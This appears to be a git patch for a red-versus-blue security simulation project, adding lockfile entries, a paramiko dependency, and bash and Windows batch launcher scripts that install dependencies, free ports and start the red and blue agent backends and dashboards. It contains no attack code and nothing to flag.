"sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.37", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.37.tgz", + "integrity": "sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/postcss": { + "version": "8.5.10", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.10.tgz", + "integrity": "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-refresh": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", + "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", + "integrity": "sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.60.1", + "@rollup/rollup-android-arm64": "4.60.1", + "@rollup/rollup-darwin-arm64": "4.60.1", + "@rollup/rollup-darwin-x64": "4.60.1", + "@rollup/rollup-freebsd-arm64": "4.60.1", + "@rollup/rollup-freebsd-x64": "4.60.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.60.1", + "@rollup/rollup-linux-arm-musleabihf": "4.60.1", + "@rollup/rollup-linux-arm64-gnu": "4.60.1", + "@rollup/rollup-linux-arm64-musl": "4.60.1", + "@rollup/rollup-linux-loong64-gnu": "4.60.1", + "@rollup/rollup-linux-loong64-musl": "4.60.1", + "@rollup/rollup-linux-ppc64-gnu": "4.60.1", + "@rollup/rollup-linux-ppc64-musl": "4.60.1", + "@rollup/rollup-linux-riscv64-gnu": "4.60.1", + "@rollup/rollup-linux-riscv64-musl": "4.60.1", + "@rollup/rollup-linux-s390x-gnu": "4.60.1", + "@rollup/rollup-linux-x64-gnu": "4.60.1", + "@rollup/rollup-linux-x64-musl": "4.60.1", + "@rollup/rollup-openbsd-x64": "4.60.1", + "@rollup/rollup-openharmony-arm64": "4.60.1", + "@rollup/rollup-win32-arm64-msvc": "4.60.1", + "@rollup/rollup-win32-ia32-msvc": "4.60.1", + "@rollup/rollup-win32-x64-gnu": "4.60.1", + "@rollup/rollup-win32-x64-msvc": "4.60.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + } + } +} diff --git a/requirements.txt b/requirements.txt index efe0993c5..ef4fb726c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,3 +6,4 @@ python-dotenv==1.0.1 httpx==0.27.2 websockets==13.1 loguru==0.7.2 +paramiko==3.4.0 diff --git a/run.sh b/run.sh new file mode 100755 index 000000000..4e3750e71 --- /dev/null +++ b/run.sh @@ -0,0 +1,415 @@ +#!/usr/bin/env bash +# ────────────────��───────────────────────���───────────────────────────── +# HTF 4.0 β€” Red vs Blue Autonomous Security Simulation +# Automated launcher for all project components +# ───────────────────────────────────���────────────────────────────────── +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "$0")" && pwd)" +cd "$ROOT_DIR" + +# Colors +RED='\033[0;31m' +BLUE='\033[0;34m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' # No Color +BOLD='\033[1m' + +# PIDs to track for cleanup +PIDS=() + +CLEANED_UP=0 +cleanup() { + [ "$CLEANED_UP" = "1" ] && return + CLEANED_UP=1 + echo "" + echo -e "${YELLOW}Shutting down all services...${NC}" + for pid in "${PIDS[@]+"${PIDS[@]}"}"; do + if kill -0 "$pid" 2>/dev/null; then + kill "$pid" 2>/dev/null || true + fi + done + sleep 1 + for pid in "${PIDS[@]+"${PIDS[@]}"}"; do + if kill -0 "$pid" 2>/dev/null; then + kill -9 "$pid" 2>/dev/null || true + fi + done + echo -e "${GREEN}All services stopped.${NC}" +} + +trap cleanup SIGINT SIGTERM EXIT + +banner() { + echo "" + echo -e "${CYAN}${BOLD}═════════���══════════════════════════════════════════════════${NC}" + echo -e "${CYAN}${BOLD} HTF 4.0 β€” Red vs Blue Autonomous Security Simulation${NC}" + echo -e "${CYAN}${BOLD}════════════���═══════════════════════════════════════════════${NC}" + echo "" +} + +log_info() { echo -e "${GREEN}[INFO]${NC} $1"; } +log_warn() { echo -e "${YELLOW}[WARN]${NC} $1"; } +log_error() { echo -e "${RED}[ERROR]${NC} $1"; } +log_blue() { echo -e "${BLUE}[BLUE]${NC} $1"; } +log_red() { echo -e "${RED}[RED]${NC} $1"; } + +# ── Detect tools ──���────────────────────────────────────────────────── + +detect_python() { + if command -v python3 &>/dev/null; then + PYTHON=python3 + elif command -v python &>/dev/null; then + PYTHON=python + else + log_error "Python 3 not found. Please install Python 3.9+." + exit 1 + fi + PY_VERSION=$($PYTHON --version 2>&1) + log_info "Python: $PY_VERSION ($PYTHON)" +} + +detect_node() { + if command -v node &>/dev/null; then + NODE_VERSION=$(node --version) + log_info "Node.js: $NODE_VERSION" + return 0 + else + log_warn "Node.js not found. Frontends will not be started." + return 1 + fi +} + +detect_npm() { + if command -v npm &>/dev/null; then + return 0 + else + log_warn "npm not found. Frontends will not be started." + return 1 + fi +} + +# ── Port management ─���─────────────────────────────────────────────── + +free_port() { + local port=$1 + local pids + pids=$(lsof -ti :"$port" 2>/dev/null || true) + if [ -n "$pids" ]; then + log_warn "Port $port in use β€” killing existing processes" + echo "$pids" | xargs kill -9 2>/dev/null || true + sleep 1 + fi +} + +free_all_ports() { + log_info "Freeing required ports..." + local ports=("$@") + for port in "${ports[@]}"; do + free_port "$port" + done +} + +# ── Setup ──────────────────────────────────────────────────────────── + +setup_env() { + if [ ! -f "$ROOT_DIR/.env" ]; then + log_warn ".env file not found β€” creating from .env.example" + cp "$ROOT_DIR/.env.example" "$ROOT_DIR/.env" + log_info "Created .env (edit it to add API keys if needed)" + else + log_info ".env file found" + fi +} + +install_python_deps() { + log_info "Installing Python dependencies..." + $PYTHON -m pip install -r "$ROOT_DIR/requirements.txt" --quiet 2>&1 | tail -1 || { + log_warn "pip install had warnings (continuing anyway)" + } + log_info "Python dependencies ready" +} + +install_frontend_deps() { + local dir="$1" + local name="$2" + if [ -d "$dir" ] && [ -f "$dir/package.json" ]; then + if [ ! -d "$dir/node_modules" ]; then + log_info "Installing $name frontend dependencies..." + (cd "$dir" && npm install --silent 2>&1) || { + log_warn "npm install for $name had issues" + } + else + log_info "$name frontend dependencies already installed" + fi + fi +} + +# ── Start services ─────────��───────────────────────────────────────── + +start_blue_backend() { + log_blue "Starting Blue Agent backend on port 8002..." + PYTHONPATH="$ROOT_DIR" $PYTHON -m uvicorn blue_agent.backend.main:app \ + --host 0.0.0.0 --port 8002 --log-level info \ + --reload --reload-dir "$ROOT_DIR/blue_agent" --reload-dir "$ROOT_DIR/core" \ + & + local pid=$! + PIDS+=("$pid") + log_blue "Blue backend PID: $pid" +} + +start_red_backend() { + log_red "Starting Red Agent backend on port 8001..." + PYTHONPATH="$ROOT_DIR" $PYTHON -m uvicorn red_agent.backend.main:app \ + --host 0.0.0.0 --port 8001 --log-level info \ + --reload --reload-dir "$ROOT_DIR/red_agent" --reload-dir "$ROOT_DIR/core" \ + & + local pid=$! + PIDS+=("$pid") + log_red "Red backend PID: $pid" +} + +start_blue_frontend() { + local dir="$ROOT_DIR/blue_agent/frontend" + if [ -d "$dir" ] && [ -f "$dir/package.json" ]; then + log_blue "Starting Blue frontend on port 5174..." + (cd "$dir" && npm run dev -- --port 5174 --strictPort) & + local pid=$! + PIDS+=("$pid") + log_blue "Blue frontend PID: $pid" + fi +} + +start_red_frontend() { + local dir="$ROOT_DIR/red_agent/frontend" + if [ -d "$dir" ] && [ -f "$dir/package.json" ]; then + log_red "Starting Red frontend on port 5173..." + (cd "$dir" && npm run dev -- --port 5173 --strictPort) & + local pid=$! + PIDS+=("$pid") + log_red "Red frontend PID: $pid" + fi +} + +wait_for_port() { + local port=$1 + local name=$2 + local attempts=0 + local max=30 + while ! (echo >/dev/tcp/localhost/$port) 2>/dev/null; do + attempts=$((attempts + 1)) + if [ $attempts -ge $max ]; then + log_warn "$name (port $port) did not start within ${max}s" + return 1 + fi + sleep 1 + done + log_info "$name is ready on port $port" + return 0 +} + +print_urls() { + echo "" + echo -e "${CYAN}${BOLD}───���──────────────────────────────────────────────────────${NC}" + echo -e "${CYAN}${BOLD} Services Running:${NC}" + echo -e "${CYAN}${BOLD}─────────────────────────────────────────��────────────────${NC}" + echo "" + echo -e " ${RED}${BOLD}Red Agent${NC}" + echo -e " Backend API: ${BOLD}http://localhost:8001${NC}" + echo -e " Health check: http://localhost:8001/health" + echo -e " WebSocket: ws://localhost:8001/ws/red" + if [ "${HAS_NODE:-0}" = "1" ]; then + echo -e " Dashboard: ${BOLD}http://localhost:5173${NC}" + fi + echo "" + echo -e " ${BLUE}${BOLD}Blue Agent${NC}" + echo -e " Backend API: ${BOLD}http://localhost:8002${NC}" + echo -e " Health check: http://localhost:8002/health" + echo -e " WebSocket: ws://localhost:8002/ws/blue" + echo -e " API Docs: http://localhost:8002/docs" + if [ "${HAS_NODE:-0}" = "1" ]; then + echo -e " Dashboard: ${BOLD}http://localhost:5174${NC}" + fi + echo "" + echo -e " ${BLUE}Blue API Routes:${NC}" + echo -e " /defend/* Defense actions (close_port, harden, isolate)" + echo -e " /patch/* Patch management (apply, verify)" + echo -e " /scan/* Asset inventory, vulnerabilities, stats" + echo -e " /environment/* Cloud/OnPrem/Hybrid alerts & monitoring" + echo -e " /strategy/* Defense plans, evolution metrics, status" + echo "" + echo -e "${CYAN}${BOLD}─────────��─────────────────────────────────��──────────────${NC}" + echo -e " Press ${BOLD}Ctrl+C${NC} to stop all services" + echo -e "${CYAN}${BOLD}──────────���──────────────────────────���────────────────────${NC}" + echo "" +} + +# ─�� Usage / mode selection ─────────────────────────────────────────── + +usage() { + echo "Usage: $0 [mode]" + echo "" + echo "Modes:" + echo " all Start all services (default)" + echo " blue Start Blue Agent only (backend + frontend)" + echo " red Start Red Agent only (backend + frontend)" + echo " backends Start both backends only (no frontends)" + echo " docker Start everything via Docker Compose" + echo " test Run all Blue Agent tests" + echo "" + exit 0 +} + +# ── Test runner ────────────────────────────────────────────────────── + +run_tests() { + banner + log_info "Running Blue Agent test suite..." + echo "" + + PYTHONPATH="$ROOT_DIR" $PYTHON tests/test_blue/test_detection.py + echo "" + PYTHONPATH="$ROOT_DIR" $PYTHON tests/test_blue/test_response.py + echo "" + PYTHONPATH="$ROOT_DIR" $PYTHON tests/test_blue/test_patching.py + + echo "" + log_info "All tests complete." + exit 0 +} + +# ── Docker mode ���────────────────────────���──────────────────────────── + +run_docker() { + banner + if ! command -v docker &>/dev/null; then + log_error "Docker not found. Please install Docker." + exit 1 + fi + if ! command -v docker-compose &>/dev/null && ! docker compose version &>/dev/null 2>&1; then + log_error "Docker Compose not found." + exit 1 + fi + + setup_env + log_info "Starting all services via Docker Compose..." + echo "" + + if docker compose version &>/dev/null 2>&1; then + docker compose up --build + else + docker-compose up --build + fi + exit 0 +} + +# ── Main ─────���────────────────────────────────────���────────────────── + +MODE="${1:-all}" + +case "$MODE" in + -h|--help|help) usage ;; + test) detect_python; run_tests ;; + docker) run_docker ;; +esac + +banner +detect_python + +HAS_NODE=0 +if detect_node && detect_npm; then + HAS_NODE=1 +fi + +echo "" + +# Setup +setup_env +install_python_deps + +if [ "$HAS_NODE" = "1" ]; then + case "$MODE" in + all|blue) install_frontend_deps "$ROOT_DIR/blue_agent/frontend" "Blue" ;; + esac + case "$MODE" in + all|red) install_frontend_deps "$ROOT_DIR/red_agent/frontend" "Red" ;; + esac +fi + +echo "" + +# Load .env into shell so child processes inherit the vars +if [ -f "$ROOT_DIR/.env" ]; then + set -a + source "$ROOT_DIR/.env" + set +a + log_info "Loaded environment from .env" +fi + +# Free ports before starting +case "$MODE" in + all) free_all_ports 8001 8002 5173 5174 ;; + blue) free_all_ports 8002 5174 ;; + red) free_all_ports 8001 5173 ;; + backends) free_all_ports 8001 8002 ;; +esac + +log_info "Starting services (mode: $MODE)..." +echo "" + +# Launch based on mode +case "$MODE" in + all) + start_red_backend + start_blue_backend + if [ "$HAS_NODE" = "1" ]; then + sleep 2 + start_red_frontend + start_blue_frontend + fi + ;; + blue) + start_blue_backend + if [ "$HAS_NODE" = "1" ]; then + sleep 2 + start_blue_frontend + fi + ;; + red) + start_red_backend + if [ "$HAS_NODE" = "1" ]; then + sleep 2 + start_red_frontend + fi + ;; + backends) + start_red_backend + start_blue_backend + ;; + *) + log_error "Unknown mode: $MODE" + usage + ;; +esac + +# Wait for backends to be ready +sleep 2 +case "$MODE" in + all|backends) + wait_for_port 8001 "Red backend" + wait_for_port 8002 "Blue backend" + ;; + blue) + wait_for_port 8002 "Blue backend" + ;; + red) + wait_for_port 8001 "Red backend" + ;; +esac + +print_urls + +# Keep running until Ctrl+C +wait From 2aa445573acb81340a6c7d857b2dd9804f04d4bc Mon Sep 17 00:00:00 2001 From: gurunathanr Date: Thu, 16 Apr 2026 13:10:15 +0530 Subject: [PATCH 14/26] run.ps1 in windows --- run.bat | 322 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ run.ps1 | 302 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 624 insertions(+) create mode 100644 run.bat create mode 100644 run.ps1 diff --git a/run.bat b/run.bat new file mode 100644 index 000000000..1afcb53a7 --- /dev/null +++ b/run.bat @@ -0,0 +1,322 @@ +@echo off +setlocal enabledelayedexpansion +:: ====================================================================== +:: HTF 4.0 - Red vs Blue Autonomous Security Simulation +:: Windows automated launcher +:: ====================================================================== + +set "ROOT_DIR=%~dp0" +cd /d "%ROOT_DIR%" + +set "MODE=%~1" +if "%MODE%"=="" set "MODE=all" + +if /i "%MODE%"=="-h" goto :usage +if /i "%MODE%"=="--help" goto :usage +if /i "%MODE%"=="help" goto :usage + +:: ── Banner ────────────────────────────────────────────────────────── +echo. +echo ================================================================ +echo HTF 4.0 - Red vs Blue Autonomous Security Simulation +echo ================================================================ +echo. + +:: ── Detect Python ─────────────────────────────────────────────────── +set "PYTHON=" +where python >nul 2>&1 +if %errorlevel%==0 ( + for /f "tokens=*" %%v in ('python --version 2^>^&1') do set "PY_VER=%%v" + echo !PY_VER! | findstr /c:"Python 3" >nul 2>&1 + if !errorlevel!==0 ( + set "PYTHON=python" + ) +) +if "%PYTHON%"=="" ( + where python3 >nul 2>&1 + if %errorlevel%==0 ( + set "PYTHON=python3" + ) +) +if "%PYTHON%"=="" ( + echo [ERROR] Python 3 not found. Please install Python 3.9+. + exit /b 1 +) +for /f "tokens=*" %%v in ('%PYTHON% --version 2^>^&1') do set "PY_VER=%%v" +echo [INFO] Python: %PY_VER% (%PYTHON%) + +:: ── Detect Node ───────────────────────────────────────────────────── +set "HAS_NODE=0" +where node >nul 2>&1 +if %errorlevel%==0 ( + for /f "tokens=*" %%v in ('node --version 2^>^&1') do set "NODE_VER=%%v" + echo [INFO] Node.js: !NODE_VER! + where npm >nul 2>&1 + if !errorlevel!==0 ( + set "HAS_NODE=1" + ) else ( + echo [WARN] npm not found. Frontends will not be started. + ) +) else ( + echo [WARN] Node.js not found. Frontends will not be started. +) +echo. + +:: ── Route to mode ─────────────────────────────────────────────────── +if /i "%MODE%"=="test" goto :run_tests +if /i "%MODE%"=="docker" goto :run_docker + +:: ── Setup .env ────────────────────────────────────────────────────── +if not exist "%ROOT_DIR%.env" ( + echo [WARN] .env not found - creating from .env.example + copy "%ROOT_DIR%.env.example" "%ROOT_DIR%.env" >nul 2>&1 + echo [INFO] Created .env (edit it to add API keys if needed^) +) else ( + echo [INFO] .env file found +) + +:: ── Load .env ─────────────────────────────────────────────────────── +if exist "%ROOT_DIR%.env" ( + for /f "usebackq tokens=1,* delims==" %%a in ("%ROOT_DIR%.env") do ( + set "line=%%a" + if not "!line:~0,1!"=="#" ( + if not "%%b"=="" ( + set "%%a=%%b" + ) + ) + ) + echo [INFO] Loaded environment from .env +) + +:: ── Install Python deps ───────────────────────────────────────────── +echo [INFO] Installing Python dependencies... +%PYTHON% -m pip install -r "%ROOT_DIR%requirements.txt" --quiet >nul 2>&1 +echo [INFO] Python dependencies ready + +:: ── Install frontend deps ─────────────────────────────────────────── +if "%HAS_NODE%"=="1" ( + if /i "%MODE%"=="all" ( + call :install_npm "%ROOT_DIR%blue_agent\frontend" "Blue" + call :install_npm "%ROOT_DIR%red_agent\frontend" "Red" + ) + if /i "%MODE%"=="blue" ( + call :install_npm "%ROOT_DIR%blue_agent\frontend" "Blue" + ) + if /i "%MODE%"=="red" ( + call :install_npm "%ROOT_DIR%red_agent\frontend" "Red" + ) +) +echo. + +:: ── Free ports ────────────────────────────────────────────────────── +echo [INFO] Freeing required ports... +if /i "%MODE%"=="all" ( + call :free_port 8001 + call :free_port 8002 + call :free_port 5173 + call :free_port 5174 +) +if /i "%MODE%"=="blue" ( + call :free_port 8002 + call :free_port 5174 +) +if /i "%MODE%"=="red" ( + call :free_port 8001 + call :free_port 5173 +) +if /i "%MODE%"=="backends" ( + call :free_port 8001 + call :free_port 8002 +) + +:: ── Start services ────────────────────────────────────────────────── +echo [INFO] Starting services (mode: %MODE%^)... +echo. + +if /i "%MODE%"=="all" goto :start_all +if /i "%MODE%"=="blue" goto :start_blue +if /i "%MODE%"=="red" goto :start_red +if /i "%MODE%"=="backends" goto :start_backends + +echo [ERROR] Unknown mode: %MODE% +goto :usage + +:: ── START ALL ─────────────────────────────────────────────────────── +:start_all +start "[RED] Backend :8001" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn red_agent.backend.main:app --host 0.0.0.0 --port 8001 --log-level info --reload --reload-dir red_agent --reload-dir core" +echo [RED] Red backend starting on port 8001 +start "[BLUE] Backend :8002" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn blue_agent.backend.main:app --host 0.0.0.0 --port 8002 --log-level info --reload --reload-dir blue_agent --reload-dir core" +echo [BLUE] Blue backend starting on port 8002 +if "%HAS_NODE%"=="1" ( + timeout /t 3 /nobreak >nul + start "[RED] Frontend :5173" /min cmd /c "cd /d %ROOT_DIR%red_agent\frontend && npm run dev -- --port 5173 --strictPort" + echo [RED] Red frontend starting on port 5173 + start "[BLUE] Frontend :5174" /min cmd /c "cd /d %ROOT_DIR%blue_agent\frontend && npm run dev -- --port 5174 --strictPort" + echo [BLUE] Blue frontend starting on port 5174 +) +goto :wait_and_print + +:: ── START BLUE ────────────────────────────────────────────────────── +:start_blue +start "[BLUE] Backend :8002" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn blue_agent.backend.main:app --host 0.0.0.0 --port 8002 --log-level info --reload --reload-dir blue_agent --reload-dir core" +echo [BLUE] Blue backend starting on port 8002 +if "%HAS_NODE%"=="1" ( + timeout /t 3 /nobreak >nul + start "[BLUE] Frontend :5174" /min cmd 